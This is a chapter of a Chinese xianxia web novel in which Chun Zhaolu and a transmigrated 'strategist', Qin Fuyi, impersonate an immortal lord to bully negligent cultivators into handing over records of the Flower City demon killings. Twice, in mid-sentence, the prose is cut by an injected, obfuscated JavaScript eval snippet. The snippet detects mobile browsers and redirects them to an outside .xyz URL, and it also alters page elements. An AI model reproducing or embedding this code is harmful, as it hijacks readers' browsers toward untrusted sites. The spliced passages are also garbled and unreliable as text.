暮色合,旌旗舞,熟悉的一团妖雾走走嗅嗅出现在道路尽头,带着一地淋漓的血渍。 人群溃逃中,春朝露逆着人流飞略而去。 其实花城作为一个原文中被一笔带过的地点,因为并没有透露太多有利攻略的信息,所以往往不是攻略者们的首选,作为攻略者秦福宜此时对花城真相的了解并不比春朝露更多,他甘愿放弃了解剧情这个大优势来到花城的原因只是因为在这个节点上有个他觉得对春朝露个人来讲至关重要的选择。 但像秦福宜经常和他人讲的那样,关于剧情,知道有知道的好,不知道有不知道的好。 比如这个晚上他并不知道春朝露会外出,也不知道路上会再遇怨魉,于是在夜色沉沉中惊艳看见春朝露翻飞的发,和碧浪一般的裙角。 他应该会很难忘这个春意微凉的夜晚,花楼的熏香中夹在着邪魔的腥臭潮湿,在明净如绸的蓝紫夜幕下看见那如雾丝生发的魔物模糊的边缘细节,甚至能近距离看清那缓缓接近的雾影一样跳动的青筋下像走马灯一样被吞噬的生人眼前的最后一幕,灰白发绿的雾仿佛引诱他一般向前凑去,等他反应过来的时候那龇牙的尖口已经近在眼前了。 嗯,不对?缓缓接近?近在眼前? 他不可置信的看向春朝露:“你你你干嘛要抓活的?” 那怨魉断腿蜘蛛一样扩散黑丝的节肢根部都不知被什么东西捆住,春朝露从那一团黑障后面露出小半个脸,“自然是有用。” 秦福宜猛然回想起今晚出门的目的:“你不是要去什么驿么?你知道位置在哪么?” 春朝露淡淡的说:“我不用知道,这时候灯最亮的那栋楼肯定就是。” 破魔驿最早是什么时候成立的无人得知,它最早存在的时候也并不是用做今日的用途。曾经上古大妖深渊魔祖存在的时候,破魔驿的作用类似于烽火台,破魔驿亮起,则意味仙界遭难,人间示警,诸王国关闭阵门,躲避厮杀,安置百姓。 但那是许久之前的事了,自从灵脉枯竭后,妖魔早已绝迹,这世间也再也没有那样震动人间的妖魔之战了,破魔驿也就逐渐空置。然而这世间无大妖不代表世间无邪祟,世本无恶则人心自生恶,虽然撼世的妖魔不存在了,但世间仍存在无数魑魅魍魉。 不知道哪位老祖著述的大作,讲人之魂为鬼,人之恨为魑,人之爱为魅,人之失为魍,人之怨为魉,魑隗魍魉自人心始,又反过来为祸人心,人无力破之,所以修仙求道之人当代为破之,以卫世间正道。所以从那位老祖起,破魔驿的作用主要用于凡间破除邪祟,修士穿过阵门除妖伏魔,使“破魔”之驿真正用于“破魔”。 但当时破魔驿一般都是作为情报站使用,破魔驿将信函传给上界最大的仙门,仙门再各自分派任务,如果自己能解决就师门内派遣解决,解决不了再传讯其他仙门联合商讨。虽然这样也能解决大部分问题,但破魔驿传递消息的时效性往往赶不上附近修士直接前往事故之地援救来的及时,而且破魔驿间建立的单项联络的有效性,也往往决定了破魔驿的有效性与单独某个仙门的兴盛与衰亡息息相关。 伴随年岁流传,破魔驿几废几立,后来到了无妄山主寒山彻执位仙尊,号令仙门的时候,他恢复了破魔驿,并改变了原有的规则,由修士接收到灵鸽传来信函再启程前往破魔驿,改为由各门派轮流派遣弟子驻扎破魔驿,让驻扎的弟子是守城的第一道防线,以此来确保救危的时效性,以防出现一城有难但附近根本没有修士路过以致一城俱亡的惨案出现。 秦福宜听完之后愣了下:“这不是很好的想法么?” 春朝露低声嘟囔:“想法好有什么用。” 秦福宜想了想觉得也是,好的企业理念也要能贯彻到下层才是。 远远地,秦福宜果然看见那如火炬一般直入云霄的云楼,破魔驿伫立在花城曾经最大佛山脚下,是和城内木楼截然不同的青石建筑,自带一股沧桑厚重。 但此时从青石建筑里传来的不是磨刀霍霍的拭剑之声,亦不是斩破云雷的霍霍练刀之声,而是嬉笑唱闹,推杯换盏的笑闹声,透过敞亮的门缝,能看见不少黑打底红腰带金玉配饰的仙门弟子正在对酒当歌,人生几何。 一边是游离城内的低等邪魔,一边是高朋满座的酒肉弟子。 秦福宜不知道被春朝露从哪里翻出来的长布条一层一层缠住了眼,所以他没看到在他们来时正巧也有人离开,那少年披着一身大氅,在沉沉夜色中也难掩绝世的殊色,只是面色不怎么好,像是遇到了什么棘手的难题,他步履很轻,翻身上马后匆匆离开。 等秦福宜左手缠右手把眼上缠着的东西解下来后,只能听见一阵马蹄和看见马背上离开之人的背景,不过考虑到这是个秦福宜只闻其名未见其人的人,怕是两人当面撞见他也无法立刻对上号。 今夜对破魔驿里的众人来讲注定是个不同寻常的夜晚,少年前脚刚走,便到了春朝露登场的时候。 她看了眼嫌布条碍事要把它扔到一边的秦福宜,低声阻止道:“别解开,你知道你长得和我师兄一点都不像吧?” 秦福宜:? 春朝露也不知道从哪翻出块布巾挡住了脸,这一遮只露脸倒显得她更加仙气飘飘,但她这仙气飘飘的模样却不是用来做好事,只见她抬腿就把那只被她不辞辛劳带过来的怨魉从格窗中踹了进去。秦福宜暗地想春朝露其实蛮有些足球天赋的,这一脚准度和力度都恰到好处,正正好让那吃人的妖魔停在旋转舞台的正中心。 “啊,这什么东西——” “天呐、是怨魉,它怎么进来的!快!拿法器来!” “别挤我,再挤要被吃了。” 秦福宜看多了春朝露抓这东西像揪只兔子,一时没想到这小小一只眼球怪兽竟能在一群看上去孔武有力的弟子中闹出如此大的风波。 秦福宜小声问:“欸,它要是万一把他们吃了怎么办?” 春朝露更低声:“吃了不是更好么!” 秦福宜虽然知道自己肩负劝导春朝露惩恶扬善的使命,有必要制止她刻意的蔫坏行为,但内心他却也看不惯这些高高在上在其位不谋其事的弟子,于是又看了一眼把下半张脸捂得死紧,只露一双黑白分明的眼珠半阖着长睫的春朝露,什么都没说。 春朝露倒也不是傻的,看见有弟子掏出法器来就知道差不多了,她行动前犹豫了一下,最后嘱咐秦福宜道:“你就先站这,要营造一种无形之中的威慑。” “如果我叫你,你就进来,记得你现在的身份,你是我的师兄。” 秦福宜虽然总爱没事过度脑补却也不是个傻子,见状立刻反应过来:“你不是想我和你一起出门,你是想用我来骗人。” 春朝露:“仙人间的事怎么能叫骗呢,这顶多算无为而治。” 说完之留下一个给你自己体会的眼神,她宛如神降般跳到了高台之上。 春朝露出手的时机掐的很巧,她看见弟子拿出了法器,却没给他们催动的机会,抢先一步点破邪魔,反倒还卖了在场所有人一个救命之恩。 淋漓黑泥破碎在她脚下,一时在场所有人静默不语。 春朝露用一种淡而轻慢的语气缓缓说道:“夜半路过,不知诸位道友,何事喧哗?” 一群人面面相觑,最后簇拥出一个麻杆一样高瘦的青年人,青年想了想说道:“谢过您的救命之恩,无事喧哗,只是怨魉突然入内,惊慌之下一时没有顾全体统,还请您见谅。” “怨魉?” 像是被青年提醒才发现地上的是什么一样,台上人露出一种诧异又惊奇的神色:“这种怨祟怎么会出现在此地?” 不待青年回答,她便主动闻言安慰道:“看来此地怨魉横行到以破魔驿众人的实力都无法驾驭了,不必担心,我家山主路过此地,正解诸位之忧。” 山主这个名字,让现场氛围更是如按下休止符一般死寂。 仙门众人皆知,如今的仙门只有一位仙君能称得上山主,那就是占据整个无妄山的无妄山之主,长泽仙君。 不过长泽仙君夜半三更到这小小凡城在做些什么? 在座每个人内心都充满了好奇,然而无论仙君来这种地方做什么,都不是他们这些小小的仙门弟子能轻易过问的。 春朝露拖着脚步,不紧不慢的走上高台,她脚步很轻,却能达成有如分潮般的效果。 明明穿着一身绿衣,但春朝露就像太阳一般,走在一众向日葵当中。她毫不客气的走上高位,把原来坐在位置的一个威风凛凛的大胡子吓得一趔趄,随即战战兢兢马上让开,走的时候甚至还小心扯回了自己披肩的一角,怕春朝露踩在脚下硌脚。 满是仙门俊杰的房间中,谁写想不到高台上坐着的是个被城主半城之财吸引来的小小奸商,在众人眼里,她现在是知名仙君的大管事,一言一行代表仙君意志的发言人。 春朝露双腿交叠轻轻一翘,无比自然的发问道:“讲讲吧,花城到底发生了什么事。” 场内众人都不敢挣扎,唯有最先被推出来的麻杆青年还试图挣扎一下:“花城无事啊,不知您所指何事?” 春朝露不客气一笑:“哦,所以是我家仙君眼瞎,才看见这满城邪祟乱飞的幻觉。” 高瘦的麻杆青年:…… 这话口无遮拦的仙君使者敢说,他们自己却是万万不敢说的。 于是接着小心试探道:“这种区区小事,怎敢劳烦上君担忧?不知仙君从哪里听闻的这等琐事?花城之事不过区区意外罢了,不敢有劳。” 春朝露故作深沉答道:“你等下级修士自然不等,到我仙君这种地步,自然夜光天象,见这天下事只在银河鼓掌之间。” 她信口胡诌:“仙君掐指一算,发现花城之事事关重大,甚至危及整个仙门命脉,如果处理不好恐怕整个仙门遭难,到时死伤无数,哪里是你们几个偷奸耍滑的小修士担得起责任的?” 担责二字一出,果然全场一片寂静。 春朝露不客气指使道:“既不愿说,便把异事纪闻薄拿出来我看看吧。” 原本畏惧长泽仙君威势,心知理亏的众人都敢做不敢言,但异事纪闻薄这几字一出,反而让高瘦青年眸中精光一闪,闪过一丝怀疑,只有经常除魔的人才知道破魔驿中有记载事件的灵宝纪闻录,一个堂堂仙君不曾下凡的管事,又怎么得知的呢,再说不论怎么样,长泽仙君会出现在这种八杆打不着的凡城都让人难以置信。 “记录簿是可以拿出来的,但灵宝珍贵不容有失,若是想见,便请仙君亲自献身吧。” 春朝露见状便知青年起疑,她敢问自然是备好了能说服人的解释,没想到解释的话还没出口,破魔驿那扇厚重的,由无数齿轮控制的千斤石门轰然打开。 踏着机扩齿轮的轰鸣,无视机关兽喷出的炙热鼻息,远远负手走进来一个白衣飘飘的身影。 许是因为夜深,他身后白雾也如仙灵精怪所化一般。 “长、长泽仙尊。” 高位上的春朝露见状眯眼,心知这才不是长泽,是那个被她打扮成长泽以此来为虎作伥的攻略者。 秦福宜并没有戴那个遮挡他视线的布巾,反而不知道从那弄来一个破魔驿人用的假面,他进门,不言不语,轻敲面具边缘的动作却更显得威压赫赫。 春朝露虽然知道这是个假的,却还是像模像样让出了高位,甚至恭恭敬敬行了个礼,假模假式把青年迎到位置上。 秦福宜坦然的坐了,视线冷淡的环顾四周。 虽然春朝露没叫,但他来地的确恰到好处 原本秦福宜是站在门外的,他听不清屋里春朝露到底在说些什么,但能看清屋内人的表情,作为现世世界里主持过好几次集团大审的人,知道事件闹成这种程度肯定不能擅了,春朝露一个管事身份平日里拿来狐假虎威可以,关键时候是肯定压不住人的,总需要一个管事的大老板上场给他压住场子,于是他只好和她一起来狐假虎威了。 其实长泽仙君幸好是个话少的性子,不然这时候他真不知道该说些什么,毕竟他和长泽完全是两个性子的人。 不过只是露个脸而已,就足以引发如此大的恐慌么? 春朝露的师兄,所谓的长泽仙君难道是什么恐怖至极的人么? 秦福宜不知道,但戏架在这里了只能继续演下去,于是淡淡看了一眼刚才发问的高瘦青年:“你,刚才说了些什么?” 御下的第一课,是要掐尖,这青年自然敢代表众人发言,就说明不管是能力还是地位都能得到众人的认可,所以压下他的气焰,也就压住了这一屋子人。 原本态度还有些倨傲的青年果然当即脸色一白,随即无比客气的一躬身,当即吩咐左右,接着取来了一本在秦福宜破破烂烂的书。 春朝露接过书随后翻了翻,秦福宜不知道她究竟看到了什么,但具体应该是满意了。 她得到了记录薄,可显然想问更多,于是嘴上说道:“我家仙君向来名声不好,所以我们这些当管事的向来都会规劝仙君不要那么暴虐,只是尘世烦扰,总要我家仙君亲自解决。” 她转身对着秦福宜牌长泽说道:“仙君,您不要气了,想来这些人不是故意的。” 秦福宜对上春朝露的视线,虽然他内心疑惑一个号称冷漠的人竟会这么容易生气么?但还是遵照春朝露的示意冷冷哼了一声。 春朝露又说:“没办法了,我家仙君看来真的今日是气性不小,出这么大的事又找不到负责人,要是得不到满意答案看来今晚势必要选个人流下血了,不过选谁呢?” 秦福宜见状想笑,觉得眼下这情况就好像睡着的羊群里突然多出了一只牧羊犬,只不过寻常牧羊犬的作用是引导羊群,而春朝露这只披着狼皮的恶犬却好像故意要将羊群的不安逼到极致,让他们顾不得前方是否悬崖峭壁只想一头莽出去。 果然春朝露这一诈,就诈出来一个小胖子。 “好啦好啦,您想问什么直接问好了!”小胖子今晚被冲进来的怨魉咬掉裤子就够绝望的了,眼下自然是第一个崩溃的,他年纪尚小,还没多少偷奸耍滑被管事抓包的经验,目前只想尽快结束掉这尴尬崩溃的一晚,本来花城闹祟就够让人崩溃的,这祟竟然还和开了定位一样能进门找人?这世上还有比这更惊悚的么?如果可以他只想火速回家,如果这个看上去让师兄很害怕的仙君真有让他滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785019|156763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去的本事,他还求之不得呢! 春朝露点点头,将视线转向这个合适的人:“我有三问。” “第一问,花城在闹的究竟是什么邪祟,到底是什么害了这么人命甚至引来了怨魉。” 小胖子修士闻言抓了抓脸:“据我们的调查来看,好像是因为城中一座叫纤手楼的花楼里供奉了千手莳花妖,那花妖不知怎的……成了真。” “既然知道是何妖,为什么不捉。” “……捉不到。” 小胖子修士闻言尴尬更甚:“那花楼中的管事格外难缠,想要进楼搜查难于登天,我们好不容易交钱以顾客的身份进了花楼,结果却什么都没找到,后来干脆封了他整座楼,结果还是什么都没找到,闹着这两次之后掌柜就不让搜了,说有本事买下这栋楼想查多久查多久。” 小胖子看向春朝露,语气复杂中:“您不介意可以亲自去试试,这事可没想象中那么简单。” 无比简单凭借钞能力让管事烫手山芋一样甩出整栋楼的春朝露轻轻巧巧哦了一声。 但她仍然有疑问:“既然根本没找到传说中的妖,又为何断定问题的根源一定是纤手楼呢?” “因为虽然没找到妖,但我们发现了妖留下的手印?” 小胖子修士解释:“一切证据都已经记载在记录薄中,您回去一见便知。” “而且若说城中遇害之人有什么共性的话,那就是他们都去过纤手楼。” “去过?这些人并不是死在纤手楼里的么?” 小胖子修士摇摇头。 春朝露想了想继续问道:“第二问,前城主和城主公子死在纤手楼内的传言可是真的?” 小胖子呲牙咧嘴:“你明明问了这么多,竟然只是第二问?” 春朝露旁边的“长泽”冷冷看了他一眼。 小胖子立刻站直,流利回答道:“是真的。” 春朝露皱眉:“也就是说城主和城主公子是唯二两个死在纤手楼里的例外了,这例外为什么会发生你们没有想过么?” “可能是因为想去除花妖然后被花妖做掉了呗,”小胖子低声嘟囔:“那位公子应该是这城里第一个试图捉住花妖的人,但结果嘛,大家应该都听说了,城主公子过世后,城主悲痛之下再查花妖,结果一无所获不说,第七天还莫名其妙丧了命。” 春朝露顿了下问道:“城主和城主公子平素关系可还好?” “没听说关系不好,那应该就还好吧。花城那位前城主出了名疼惜夫人,怎么会不爱惜夫人的孩子”,小胖子修士昂了昂头示意春朝露往外看:“城主夫人说一句不爱被雨水沾湿,城主就下令让沿街店铺都装上了凉棚,这般爱妻也是世间少有了吧,那花城城主在时,可是全城姑娘们的春闺梦里人。” 小胖子修士笑着,像讲八卦一样分享给春朝露。 他说:“自发生花妖那事后,前去纤手楼找公道和捉妖的人少了,我们找过也拿不出什么办法,但这件事也不能搁置不管……所以实话和您说,即使您今夜不来,我们也会处理好这件事。” “我们和新城主已经商量过了,打算把整座纤手楼焚之一炬。” 虽然找不到妖,但楼可以烧,到时皮之不存,毛将焉附。 听到这里,披着长泽皮套的秦福宜微微皱了皱眉,这小胖子看似胆小怯懦,但一番游说就把被他们拿捏紧紧的失职轻描淡写揭了过去,甚至最后又表了一波衷心,意思是您不要听信外面那些谣言,我们可是实打实有计划做事的,虽然计划就是个计划不知道哪天能落实,但有这个计划在这个追责之锅就落不下去。 秦福宜能想到的事,春朝露不可能想不到。 春朝露可不是那么好忽悠的人,于是她笑笑接着问道:“第三问,为何放任城内怨魉成行肆意危害百姓姓名,按照规定,破魔驿人员即使是寻常时段也要一天巡查街道三次。” 这一问,像是捅到了肺眼子上。 秦福宜以为这下渎职的罪过怎么都要逃不过去了,没想到小胖子简短愣一下之后火速滑跪了。 “仙君在上,还请您为我们做主呀!” 小胖子哭诉所他们不是冷血无情不想管,而是真的管不过来啊,原本被安排到破魔驿的时候说的好好的该是各大宗门轮换,但实际上他们因为宗门小背后没人撑腰,所以自从来了就长这一样再也没换过,可他们也要修炼也要休息啊!哪里管的了那么多闲事。 秦福宜心想坏了,对于这种站点理还能动摇人心的处理是最难的,你处理他吧,关键时刻群心动荡,你不处理他吧,这些人又能理直气壮不干活。 秦福宜皱了皱眉,心想这事春朝露不好处理,但反正现在他顶着长泽仙君的名字,不如干脆就让他强行树以大义把这事压下去。 没想到春朝露笑笑,扶起小胖子给他开了一个无法拒绝的提议:“知道你们人员不足,但现在花城闹祟,应该有很多闻名而来的外来修士,我愿以每次巡逻一人一块灵石的价格提供一份补贴,让这些修士暂时加入破魔驿的队伍帮助巡查如何?” “巡逻至少要一日三次,尤其黎明之时和日落之时,人进人出的主干道路更是时时刻刻轮班驻守。” 春朝露掏出之前从无妄山守门人那里取到的灵石包裹,包裹上煌煌门徽像是在作证她每个字都所言非虚。 碧色的灵石光芒凝聚在春朝露指尖,她一副不差钱的豪横:“这是定金,如果表现的好的话,还有额外的奖金。” “我这个条件,应该是极好的了?” 的确如此,自灵气衰落以来连修士也多使用金银做一般等价物,像春朝露这样出手仍用玉石结算的,是极其少数的一部分了。 “既然您能拿出这个方案,那自然是极好的了。” 麻杆一样的痩青年接过春朝露扔来的灵石,果然在玉石底座上瞧见刀凿斧刻般的寒山二字。 春朝露最后想了想又说道:“火烧纤手楼的事先暂缓吧,我家仙君之后会离开花城,但我因为灵石交接问题会暂时留在花城。” “督导诸位,做该做的事,免遭不该受的罚。” 她顿了下说道:“如果有消息找我,便传讯到城主府吧。” 小胖子许是因为得了灵石,整个人乐颠颠的,嘴上也开始没把门的,随口说道:“哎,纤手楼的妖是很难捉的,您这样的大人物有时间何必不忙些更值得投入的事呢?我们最近好心劝走很多修士,以致招来了在其位不谋其事的抱怨,但本来这种离谱的邪祟作案的事就很难管管,甚至还因为擒妖闹出了人命不是,那不就只能奉劝路过修士守身惜福、少管闲事嘛,再说怎么不见别的地方都不闹祟就这花城闹祟?说不定是这些人该呢。” 这话就讲的有些过分了,身边麻杆瘦长的青年也看了他一眼。 秦福宜留下一句“该说的说,不该说的不说”后,带着春朝露起身离席。 走出破魔驿大门,秦福宜问春朝露:“他们真的会那灵石雇佣其他修士来帮忙么?” “不会”,春朝露头也不抬:“与其钱给外人,不如彼此多干点事。不过即使这样,目的不也达到了么?” 秦福宜想了想,觉得是这个道理,春朝露对金钱的使用方法果然炉火纯青。 9. 逢魔之时 秦福宜本想夸赞春朝露好手段,转头却看见春朝露皱着小脸捧着刚才那个装灵石的黄色小布包,嘴里数着数,面上更是难掩心痛。 数什么数,我都看见了你只给出去了一个。 秦福宜发现自己错了,他不该抱怨春朝露冷漠,事实上只要有关钱,春朝露都可以一瞬变得无比火热。 你都这么有钱了还这么抠,那宛如割肉的感觉太真实了吧。 就在秦福宜张嘴想说些什么时,身旁那雪白的在编着金丝绦的黄色布包边缘拨弄的手却忽然伸出,春朝露压着他隔着薄衫仍能感到锁骨微微凸起的肩,将他推倒在沁着一层微凉水雾的灰石小巷上。 后退是他的脚跟卡在石阶上,还有点微痛。 “你……” “嘘。” 春朝露秀致漂亮的手指压在他薄红色的唇上,她的手指比他想象中更冷。 正这时,秦福宜看见原本只有两人身影交错的小巷中,忽的冒出第三个影子。 秦福宜微微瞪大眼,有人跟着他们? “怎么回事,今晚不是一切顺利么?他们并没有识破我的身份,轻易了你的话呀。” “你真觉得他们会有那么容易相信?” 山门高,天门远,登仙入破万仞山。修士岂是那么容易当的?岂是是下级仙门里一个小小的旁支弟子,当初都是不知打败了多少竞争者才走到了今天。 春朝露的瞳孔深黑的像泛不起青荇的沼泽:“倒是比我想象中更多疑一些呢。” 四边形的灰色屋檐下伸出半个圆圆的东西,顺着圆圆的阴影往下是接着脑袋的脖子和细长的四肢,缓缓地,那阴影接近。 春朝露微微笑起来,像春意料峭时沾着微雪的花苞:“你不是好奇,我师兄看不见血,那怎么能确定对方是真的死了?” “这个答案其实也无比简单啊。” 她的声音又轻又柔,像碎雪簌簌落在透明的薄冰层上:“只要把对方湮灭到,连尸骨都无根无据不就行了。” 她袖角一动掌心就多了一把短剑,满剑轮圆,也不见她如何动作,那被剑尖指向的阴影就炸裂成一团烟花。 秦福宜看着那随风翻滚的碎纸卷,难以想象原来这些纸屑刚才还是一个完整无瑕的人。 春朝露说:“这是我师兄的独门绝技,不过这招我也多少学了一点点呢~” 秦福宜忽然一阵脊背发冷,像是现在才真正意识到能顶着反派二字,让主电脑发布灭世反派预警的,究竟该是怎样的人物。 连尸骨都不留下的湮灭之法么,这种方法的确听上去就够反派呢。 春朝露满意看着青年震颤的眼睑和尽管垂下眼帘仍难遮掩上下弹跳的瞳孔。嘿嘿嘿,吓死你们才好呢,就这点胆子就赶成为攻略者号称要拯救她“悲惨”的人生? 一个个上门,一个个送。还以为她是什么地里的萝卜嘛,谁想来拔一下就拔一下啊?不过也真是够蠢的,连正常修士会派来跟踪的一定是替身傀儡都不知道,傻兮兮的以为自己真的炸了一个人呢。 像是嫌弃今晚的捉弄不够似的,她轻轻点着男人微微皱起的眉骨:“你不是想扮演成我师兄么?那下次要扮的像样点才是,我师兄在这时候才不会有反应呢……他呀,冷漠的就像天山上的雪。” “好了,不管怎么说今晚谢谢你,我和师兄一起除魔的心愿暂时已经得到满足,今天的扮演可以到此为止了。” 秦福宜想起那化骨焚尸般的手法,如果春朝露学到的只是皮毛,那正主施展起来该有怎样的威力?想到这里他有些担心的说:“你不怕今晚的事传到长泽仙君的耳朵里……” 总感觉那冷漠出名的仙君不会顾忌那点微薄的同门之情替师妹背锅。 “安心”,春朝露看了他一眼:“长泽仙君正在闭关呢。” 秦福宜站在原地,看前面春朝露乐呵呵走着的背景,眼神中骤然划过一丝复杂。 【系统,之前这对师兄妹的资料你还没给我。】 【宿主,你终于想起这件重要的事了,关于这师兄妹之情我——】 “你站那干嘛呢,留在原地是想穿帮么?”春朝露正手里捏着她从破魔驿手里诈来的那本钉线册子,转身看向他:“不是我吓唬你哦,破魔驿那帮人可是很凶残的,只畏惧强权而不会折服于美好的德行,如果让他们发现自己被耍,咱两可都落不到什么好下场。” 秦福宜闻言一激灵,连忙紧赶慢赶追上春朝露的脚步,见她手不释卷的认真翻阅着手里的小册子,终是热不住好奇道:“你在看什么呢?” 春朝露举了举册子:“这本书里记载了花城里所有异事发生的细节。” “无数受害人的存在都佐证了千手莳花妖的确存在,但为什么偏偏最想找妖的我们找不到妖?” “这不是很奇怪么,难道是我们漏了什么细节?” 秦福宜听了春朝露的话觉得有道理,当即请求春朝露把册子上的字念出来,他可以帮着一起分析分析。 在破魔的正经事上,春朝露一般是比较好说话,她清了清嗓子低声念道: “……张三赴宴未归,其父见突然下起了雨,便命仆人前去送伞,结果发现了张三的尸体……” “李四癔病发作,在暴雨中高声叫骂,遂死。” “……王五遭遇心上人拒绝,在涨水时的三山溪谷买醉,没过多久,守在轿子旁的仆人突然听见一声尖叫……” “……钱六死在家里,他刚进家门便要换衣沐浴,其母转身为他操持的时候,就出现了意外……” “……宋——” 秦福宜虽没发现什么有效线索,但正听得津津有味,见春朝露突然停下正想开口询问,抬眼一看原来两人已经回到了纤手楼,而楼前阴影里正站着一个孔武有力的身影,似在等待着两人的归来。 秦福宜一惊,以为是破魔驿的修士追到了此处,刚想上前半步把春朝露挡在身后,再端出长泽仙君的架子唬唬来人,就见春朝露从他身后走出,含笑问道:“不是另谋高就了么,怎么突然回来?” 那身影从阴影中走出,竟是带他们来花楼那个黑皮大汉。 大汉此时满脸纠结,最终还是开口:“这楼不能住,你们还是尽早离开吧。” 他因为缺钱做尽品德败坏的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788829|156763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但他知道没这二人帮助的话自己不会顺利从管事手里要来自己那份钱,他虽然因为缺钱做了,既然承了人的请,不能妄害别人的命。 他说:“你们都去打听了难道现在还不知道么,这纤手楼里真的有——” 他没有说下去。 春朝露像是故意听不懂他说什么,叉腰蛮横道:“我买的楼,我凭什么不能住。我这人只相信自己眼睛看到的东西,这楼里楼外我都看遍了哪里有妖,城里人也都说根本没找到所谓的妖。” 她露出一副警惕表情:“你们不会做局中局空手骗白狼故意骗我钱吧,先贱卖,再编出个妖怪传闻吓我,把我诈走,再用同一种方法同一座楼骗下一个人?轻而易举赚这种快钱么?” “呵,我虽年纪小,但不好骗的!” “哎,不是,这!”明显不善言辞的大汉露出一副抓耳挠腮的表情:“我不是骗你们,这楼里有奇怪的东西!” 他咬咬牙,干脆直接说道:“我不知道别人为什么找不到妖,但……城主出事时,我是在场的。” 春朝露眼中亮光一闪,秦福宜也急切道:“说清楚!” “那日本来是折花大比的日子,晴日里却突然下了一场急雨打湿了姑娘的舞服,管事谴我回来取新衣,然而当我匆忙回来的时候却发现花楼的大门根本打不开,透过门上纸糊的窗影……我看见,我看见……” 说到此处,大汉满头青筋鼓起,眼球暴起,然而牙齿却颤抖的自不成字声不成声,他尝试好几次终于还是没办法吐出一个完整的句子,崩溃的大吼道:“我不知道怎么说我也不敢说,你们自己去城主府看看吧,你们去看看吧,看完就知道了!” “喂,你——” 秦福宜眉心一跳,大汉却匆匆丢下这句话后跑走,身影很快消失在街道尽头。 他看了眼自己悬停在空中的尔康手,又看了眼身旁精致的漆黑小楼,对春朝露说:“你听见他说什么了,这楼你真的要住?万、万一真出什么事。” 秦福宜看了眼那白窗纸,黑楼梯,还挂着两盏大红灯笼的小楼,终于后知后觉的清醒认知道原来阴森的破庙不是他挑战在惊悚环境下入睡的极限。 春朝露从花楼前存物的小柜中取出一盏手提灯,语气超平的回道:“你知道我们现在最大的麻烦,就是找不到妖吧?” “如果那妖真的现身,那难道不是普天同庆、乐极庆极的一件天降的大好事么?可以收工回家了哎!” 春朝露提起裙摆,跨过门坎。 “其实你不用这么害怕,今晚估计什么都不会发生,撞邪的三大必要条件还没凑齐呢。” “三大条件?” “对,空间、地点和时间……如果空间和地点都是对的,那就是逢魔之时还未到呗。” 春朝露转过身,轻一下吹灭提灯。 门外秦福宜咬咬牙,看了一眼那漆黑中仿佛无限向上蔓延的楼梯,还是一脚迈了进去。 如果可以,他希望大妖今晚就出现。 这样春朝露明天就不会去城主府了! 那继位的少年城主……是春朝露绝不该见的男人。